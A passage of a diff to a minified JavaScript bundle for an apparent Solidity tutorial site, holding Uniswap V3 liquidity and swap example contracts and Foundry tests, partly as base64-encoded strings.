EFtb3VudFRvQWRkCiAgICAgICAgKTsKICAgICAgICBsaXF1aWRpdHkgKz0gbGlxdWlkaXR5RGVsdGE7CgogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIEluY3JlYXNlIGxpcXVpZGl0eSAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coImxpcXVpZGl0eSIsIGxpcXVpZGl0eSk7CiAgICAgICAgY29uc29sZTIubG9nKCJhbW91bnQgMCIsIGFtb3VudDApOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDEiLCBhbW91bnQxKTsKCiAgICAgICAgLy8gRGVjcmVhc2UgbGlxdWlkaXR5CiAgICAgICAgKGFtb3VudDAsIGFtb3VudDEpID0KICAgICAgICAgICAgdW5pLmRlY3JlYXNlTGlxdWlkaXR5Q3VycmVudFJhbmdlKHRva2VuSWQsIGxpcXVpZGl0eSk7CiAgICAgICAgY29uc29sZTIubG9nKCItLS0gRGVjcmVhc2UgbGlxdWlkaXR5IC0tLSIpOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlMi5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CiAgICB9Cn0K"}],ub=`
                    Examples of minting new position, collect fees, increase and decrease liquidity.
                    
+`,Ib=({prev:s,next:a})=>r.jsx(u,{version:ob,title:rb,description:ib,html:hb,prev:s,next:a,codes:gb}),db="0.8.24",Cb="Uniswap V3 Liquidity Examples",jb="Uniswap V3 liquidity examples",ub=[{fileName:"UniswapV3Liquidity.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

contract UniswapV3Liquidity is IERC721Receiver {
    IERC20 private constant dai = IERC20(DAI);
    IWETH private constant weth = IWETH(WETH);

    int24 private constant MIN_TICK = -887272;
    int24 private constant MAX_TICK = -MIN_TICK;
    int24 private constant TICK_SPACING = 60;

    INonfungiblePositionManager public nonfungiblePositionManager =
        INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    function mintNewPosition(uint256 amount0ToAdd, uint256 amount1ToAdd)
        external
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        )
    {
        dai.transferFrom(msg.sender, address(this), amount0ToAdd);
        weth.transferFrom(msg.sender, address(this), amount1ToAdd);

        dai.approve(address(nonfungiblePositionManager), amount0ToAdd);
        weth.approve(address(nonfungiblePositionManager), amount1ToAdd);

        INonfungiblePositionManager.MintParams memory params =
        INonfungiblePositionManager.MintParams({
            token0: DAI,
            token1: WETH,
            fee: 3000,
            tickLower: (MIN_TICK / TICK_SPACING) * TICK_SPACING,
            tickUpper: (MAX_TICK / TICK_SPACING) * TICK_SPACING,
            amount0Desired: amount0ToAdd,
            amount1Desired: amount1ToAdd,
            amount0Min: 0,
            amount1Min: 0,
            recipient: address(this),
            deadline: block.timestamp
        });

        (tokenId, liquidity, amount0, amount1) =
            nonfungiblePositionManager.mint(params);

        if (amount0 < amount0ToAdd) {
            dai.approve(address(nonfungiblePositionManager), 0);
            uint256 refund0 = amount0ToAdd - amount0;
            dai.transfer(msg.sender, refund0);
        }
        if (amount1 < amount1ToAdd) {
            weth.approve(address(nonfungiblePositionManager), 0);
            uint256 refund1 = amount1ToAdd - amount1;
            weth.transfer(msg.sender, refund1);
        }
    }

    function collectAllFees(uint256 tokenId)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        INonfungiblePositionManager.CollectParams memory params =
        INonfungiblePositionManager.CollectParams({
            tokenId: tokenId,
            recipient: address(this),
            amount0Max: type(uint128).max,
            amount1Max: type(uint128).max
        });

        (amount0, amount1) = nonfungiblePositionManager.collect(params);
    }

    function increaseLiquidityCurrentRange(
        uint256 tokenId,
        uint256 amount0ToAdd,
        uint256 amount1ToAdd
    ) external returns (uint128 liquidity, uint256 amount0, uint256 amount1) {
        dai.transferFrom(msg.sender, address(this), amount0ToAdd);
        weth.transferFrom(msg.sender, address(this), amount1ToAdd);

        dai.approve(address(nonfungiblePositionManager), amount0ToAdd);
        weth.approve(address(nonfungiblePositionManager), amount1ToAdd);

        INonfungiblePositionManager.IncreaseLiquidityParams memory params =
        INonfungiblePositionManager.IncreaseLiquidityParams({
            tokenId: tokenId,
            amount0Desired: amount0ToAdd,
            amount1Desired: amount1ToAdd,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        });

        (liquidity, amount0, amount1) =
            nonfungiblePositionManager.increaseLiquidity(params);
    }

    function decreaseLiquidityCurrentRange(uint256 tokenId, uint128 liquidity)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        INonfungiblePositionManager.DecreaseLiquidityParams memory params =
        INonfungiblePositionManager.DecreaseLiquidityParams({
            tokenId: tokenId,
            liquidity: liquidity,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        });

        (amount0, amount1) =
            nonfungiblePositionManager.decreaseLiquidity(params);
    }
}

interface INonfungiblePositionManager {
    struct MintParams {
        address token0;
        address token1;
        uint24 fee;
        int24 tickLower;
        int24 tickUpper;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        address recipient;
        uint256 deadline;
    }

    function mint(MintParams calldata params)
        external
        payable
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        );

    struct IncreaseLiquidityParams {
        uint256 tokenId;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        uint256 deadline;
    }

    function increaseLiquidity(IncreaseLiquidityParams calldata params)
        external
        payable
        returns (uint128 liquidity, uint256 amount0, uint256 amount1);

    struct DecreaseLiquidityParams {
        uint256 tokenId;
        uint128 liquidity;
        uint256 amount0Min;
        uint256 amount1Min;
        uint256 deadline;
    }

    function decreaseLiquidity(DecreaseLiquidityParams calldata params)
        external
        payable
        returns (uint256 amount0, uint256 amount1);

    struct CollectParams {
        uint256 tokenId;
        address recipient;
        uint128 amount0Max;
        uint128 amount1Max;
    }

    function collect(CollectParams calldata params)
        external
        payable
        returns (uint256 amount0, uint256 amount1);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}
"},{fileName:"UniswapV3LiquidityTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1saXF1aWRpdHkvVW5pc3dhcFYzTGlxdWlkaXR5LnNvbCI7Cgpjb250cmFjdCBVbmlzd2FwVjNMaXF1aWRpdHlUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJX1dIQUxFID0KICAgICAgICAweGU4MUQ2ZjAzMDI4MTA3QTIwREJjODMxNzZEQTgyYUU4MDk5RTlDNDI7CgogICAgVW5pc3dhcFYzTGlxdWlkaXR5IHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWM0xpcXVpZGl0eSgpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHsKICAgICAgICB2bS5wcmFuayhEQUlfV0hBTEUpOwogICAgICAgIGRhaS50cmFuc2ZlcihhZGRyZXNzKHRoaXMpLCAyMCAqIDFlMTgpOwoKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IDIgKiAxZTE4fSgpOwoKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKHVuaSksIDIwICogMWUxOCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgMiAqIDFlMTgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RMaXF1aWRpdHkoKSBwdWJsaWMgewogICAgICAgIC8vIFRyYWNrIHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHVpbnQxMjggbGlxdWlkaXR5OwoKICAgICAgICAvLyBNaW50IG5ldyBwb3NpdGlvbgogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50ID0gMTAgKiAxZTE4OwogICAgICAgIHVpbnQyNTYgd2V0aEFtb3VudCA9IDFlMTg7CgogICAgICAgICgKICAgICAgICAgICAgdWludDI1NiB0b2tlbklkLAogICAgICAgICAgICB1aW50MTI4IGxpcXVpZGl0eURlbHRhLAogICAgICAgICAgICB1aW50MjU2IGFtb3VudDAsCiAgICAgICAgICAgIHVpbnQyNTYgYW1vdW50MQogICAgICAgICkgPSB1bmkubWludE5ld1Bvc2l0aW9uKGRhaUFtb3VudCwgd2V0aEFtb3VudCk7CiAgICAgICAgbGlxdWlkaXR5ICs9IGxpcXVpZGl0eURlbHRhOwoKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSBNaW50IG5ldyBwb3NpdGlvbiAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coInRva2VuIGlkIiwgdG9rZW5JZCk7CiAgICAgICAgY29uc29sZTIubG9nKCJsaXF1aWRpdHkiLCBsaXF1aWRpdHkpOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlMi5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CgogICAgICAgIC8vIENvbGxlY3QgZmVlcwogICAgICAgICh1aW50MjU2IGZlZTAsIHVpbnQyNTYgZmVlMSkgPSB1bmkuY29sbGVjdEFsbEZlZXModG9rZW5JZCk7CgogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIENvbGxlY3QgZmVlcyAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coImZlZSAwIiwgZmVlMCk7CiAgICAgICAgY29uc29sZTIubG9nKCJmZWUgMSIsIGZlZTEpOwoKICAgICAgICAvLyBJbmNyZWFzZSBsaXF1aWRpdHkKICAgICAgICB1aW50MjU2IGRhaUFtb3VudFRvQWRkID0gNSAqIDFlMTg7CiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50VG9BZGQgPSAwLjUgKiAxZTE4OwoKICAgICAgICAobGlxdWlkaXR5RGVsdGEsIGFtb3VudDAsIGFtb3VudDEpID0gdW5pLmluY3JlYXNlTGlxdWlkaXR5Q3VycmVudFJhbmdlKAogICAgICAgICAgICB0b2tlbklkLCBkYWlBbW91bnRUb0FkZCwgd2V0aEFtb3VudFRvQWRkCiAgICAgICAgKTsKICAgICAgICBsaXF1aWRpdHkgKz0gbGlxdWlkaXR5RGVsdGE7CgogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIEluY3JlYXNlIGxpcXVpZGl0eSAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coImxpcXVpZGl0eSIsIGxpcXVpZGl0eSk7CiAgICAgICAgY29uc29sZTIubG9nKCJhbW91bnQgMCIsIGFtb3VudDApOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDEiLCBhbW91bnQxKTsKCiAgICAgICAgLy8gRGVjcmVhc2UgbGlxdWlkaXR5CiAgICAgICAgKGFtb3VudDAsIGFtb3VudDEpID0KICAgICAgICAgICAgdW5pLmRlY3JlYXNlTGlxdWlkaXR5Q3VycmVudFJhbmdlKHRva2VuSWQsIGxpcXVpZGl0eSk7CiAgICAgICAgY29uc29sZTIubG9nKCItLS0gRGVjcmVhc2UgbGlxdWlkaXR5IC0tLSIpOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlMi5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CiAgICB9Cn0K"}],Ab=`
                    Examples of minting new position, collect fees, increase and decrease liquidity.
                    
 
                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -6624,7 +6624,7 @@ IERC20 constant PAIR Uniswap V3
                    
 
                    Foundry
                    
 
                    Uniswap V3 Foundry example
                    
-`,yb=({prev:s,next:a})=>r.jsx(u,{version:db,title:Ib,description:Cb,html:ub,prev:s,next:a,codes:jb}),Ab="0.8.24",mb="Uniswap V3 Swap Examples",bb="Uniswap V3 swap examples",wb=[{fileName:"UniswapV3MultiHopSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKYWRkcmVzcyBjb25zdGFudCBTV0FQX1JPVVRFUl8wMiA9IDB4NjhiMzQ2NTgzM2ZiNzJBNzBlY0RGNDg1RTBlNEM3YkQ4NjY1RmM0NTsKYWRkcmVzcyBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwphZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7CmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwoKY29udHJhY3QgVW5pc3dhcFYzTXVsdGlIb3BTd2FwIHsKICAgIElTd2FwUm91dGVyMDIgcHJpdmF0ZSBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcjAyKFNXQVBfUk9VVEVSXzAyKTsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHdldGggPSBJRVJDMjAoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dE11bHRpSG9wKHVpbnQyNTYgYW1vdW50SW4sIHVpbnQyNTYgYW1vdW50T3V0TWluKQogICAgICAgIGV4dGVybmFsCiAgICB7CiAgICAgICAgd2V0aC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgYnl0ZXMgbWVtb3J5IHBhdGggPQogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKFdFVEgsIHVpbnQyNCgzMDAwKSwgVVNEQywgdWludDI0KDEwMCksIERBSSk7CgogICAgICAgIElTd2FwUm91dGVyMDIuRXhhY3RJbnB1dFBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIwMgogICAgICAgICAgICAuRXhhY3RJbnB1dFBhcmFtcyh7CiAgICAgICAgICAgIHBhdGg6IHBhdGgsCiAgICAgICAgICAgIHJlY2lwaWVudDogbXNnLnNlbmRlciwKICAgICAgICAgICAgYW1vdW50SW46IGFtb3VudEluLAogICAgICAgICAgICBhbW91bnRPdXRNaW5pbXVtOiBhbW91bnRPdXRNaW4KICAgICAgICB9KTsKCiAgICAgICAgcm91dGVyLmV4YWN0SW5wdXQocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RPdXRwdXRNdWx0aUhvcCh1aW50MjU2IGFtb3VudE91dCwgdWludDI1NiBhbW91bnRJbk1heCkKICAgICAgICBleHRlcm5hbAogICAgewogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluTWF4KTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbk1heCk7CgogICAgICAgIGJ5dGVzIG1lbW9yeSBwYXRoID0KICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZChEQUksIHVpbnQyNCgxMDApLCBVU0RDLCB1aW50MjQoMzAwMCksIFdFVEgpOwoKICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0T3V0cHV0UGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcjAyCiAgICAgICAgICAgIC5FeGFjdE91dHB1dFBhcmFtcyh7CiAgICAgICAgICAgIHBhdGg6IHBhdGgsCiAgICAgICAgICAgIHJlY2lwaWVudDogbXNnLnNlbmRlciwKICAgICAgICAgICAgYW1vdW50T3V0OiBhbW91bnRPdXQsCiAgICAgICAgICAgIGFtb3VudEluTWF4aW11bTogYW1vdW50SW5NYXgKICAgICAgICB9KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHJvdXRlci5leGFjdE91dHB1dChwYXJhbXMpOwoKICAgICAgICBpZiAoYW1vdW50SW4gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCAwKTsKICAgICAgICAgICAgd2V0aC50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnRJbk1heCAtIGFtb3VudEluKTsKICAgICAgICB9CiAgICB9Cn0KCmludGVyZmFjZSBJU3dhcFJvdXRlcjAyIHsKICAgIHN0cnVjdCBFeGFjdElucHV0UGFyYW1zIHsKICAgICAgICBieXRlcyBwYXRoOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgYW1vdW50SW47CiAgICAgICAgdWludDI1NiBhbW91bnRPdXRNaW5pbXVtOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4YWN0SW5wdXQoRXhhY3RJbnB1dFBhcmFtcyBjYWxsZGF0YSBwYXJhbXMpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpOwoKICAgIHN0cnVjdCBFeGFjdE91dHB1dFBhcmFtcyB7CiAgICAgICAgYnl0ZXMgcGF0aDsKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudDsKICAgICAgICB1aW50MjU2IGFtb3VudE91dDsKICAgICAgICB1aW50MjU2IGFtb3VudEluTWF4aW11bTsKICAgIH0KCiAgICBmdW5jdGlvbiBleGFjdE91dHB1dChFeGFjdE91dHB1dFBhcmFtcyBjYWxsZGF0YSBwYXJhbXMpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhbW91bnRJbik7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9CgppbnRlcmZhY2UgSVdFVEggaXMgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBleHRlcm5hbCBwYXlhYmxlOwogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBhbW91bnQpIGV4dGVybmFsOwp9Cg=="},{fileName:"UniswapV3MultiHopSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1zd2FwL1VuaXN3YXBWM011bHRpSG9wU3dhcC5zb2wiOwoKY29udHJhY3QgVW5pc3dhcFYzTXVsdGlIb3BTd2FwVGVzdCBpcyBUZXN0IHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBTV0FQX1JPVVRFUl8wMiA9CiAgICAgICAgMHg2OGIzNDY1ODMzZmI3MkE3MGVjREY0ODVFMGU0QzdiRDg2NjVGYzQ1OwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7CgogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHVzZGMgPSBJRVJDMjAoVVNEQyk7CgogICAgVW5pc3dhcFYzTXVsdGlIb3BTd2FwIHByaXZhdGUgc3dhcDsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgQU1PVU5UX0lOID0gMTAgKiAxZTE4OwogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IEFNT1VOVF9PVVQgPSAyMCAqIDFlMTg7CiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgTUFYX0FNT1VOVF9JTiA9IDFlMTg7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHN3YXAgPSBuZXcgVW5pc3dhcFYzTXVsdGlIb3BTd2FwKCk7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiBBTU9VTlRfSU4gKyBNQVhfQU1PVU5UX0lOfSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHN3YXApLCB0eXBlKHVpbnQyNTYpLm1heCk7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9zd2FwRXhhY3RJbnB1dE11bHRpSG9wKCkgcHVibGljIHsKICAgICAgICBzd2FwLnN3YXBFeGFjdElucHV0TXVsdGlIb3AoQU1PVU5UX0lOLCAxKTsKICAgICAgICB1aW50MjU2IGQxID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICBhc3NlcnRHdChkMSwgMCwgIkRBSSBiYWxhbmNlID0gMCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfc3dhcEV4YWN0T3V0cHV0TXVsdGlIb3AoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgdzAgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50MjU2IGQwID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICBzd2FwLnN3YXBFeGFjdE91dHB1dE11bHRpSG9wKEFNT1VOVF9PVVQsIE1BWF9BTU9VTlRfSU4pOwogICAgICAgIHVpbnQyNTYgdzEgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50MjU2IGQxID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKCiAgICAgICAgYXNzZXJ0THQodzEsIHcwLCAiV0VUSCBiYWxhbmNlIGRpZG4ndCBkZWNyZWFzZSIpOwogICAgICAgIGFzc2VydEd0KGQxLCBkMCwgIkRBSSBiYWxhbmNlIGRpZG4ndCBpbmNyZWFzZSIpOwogICAgICAgIGFzc2VydEVxKHdldGguYmFsYW5jZU9mKGFkZHJlc3Moc3dhcCkpLCAwLCAiV0VUSCBiYWxhbmNlIG9mIHN3YXAgIT0gMCIpOwogICAgICAgIGFzc2VydEVxKGRhaS5iYWxhbmNlT2YoYWRkcmVzcyhzd2FwKSksIDAsICJEQUkgYmFsYW5jZSBvZiBzd2FwICE9IDAiKTsKICAgIH0KfQo="},{fileName:"UniswapV3SingleHopSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CmFkZHJlc3MgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKYWRkcmVzcyBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7Cgpjb250cmFjdCBVbmlzd2FwVjNTaW5nbGVIb3BTd2FwIHsKICAgIElTd2FwUm91dGVyMDIgcHJpdmF0ZSBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcjAyKFNXQVBfUk9VVEVSXzAyKTsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHdldGggPSBJRVJDMjAoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dFNpbmdsZUhvcCh1aW50MjU2IGFtb3VudEluLCB1aW50MjU2IGFtb3VudE91dE1pbikKICAgICAgICBleHRlcm5hbAogICAgewogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbik7CgogICAgICAgIElTd2FwUm91dGVyMDIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIwMgogICAgICAgICAgICAuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IFdFVEgsCiAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IGFtb3VudE91dE1pbiwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RPdXRwdXRTaW5nbGVIb3AodWludDI1NiBhbW91bnRPdXQsIHVpbnQyNTYgYW1vdW50SW5NYXgpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW5NYXgpOwoKICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0T3V0cHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcjAyCiAgICAgICAgICAgIC5FeGFjdE91dHB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IFdFVEgsCiAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLA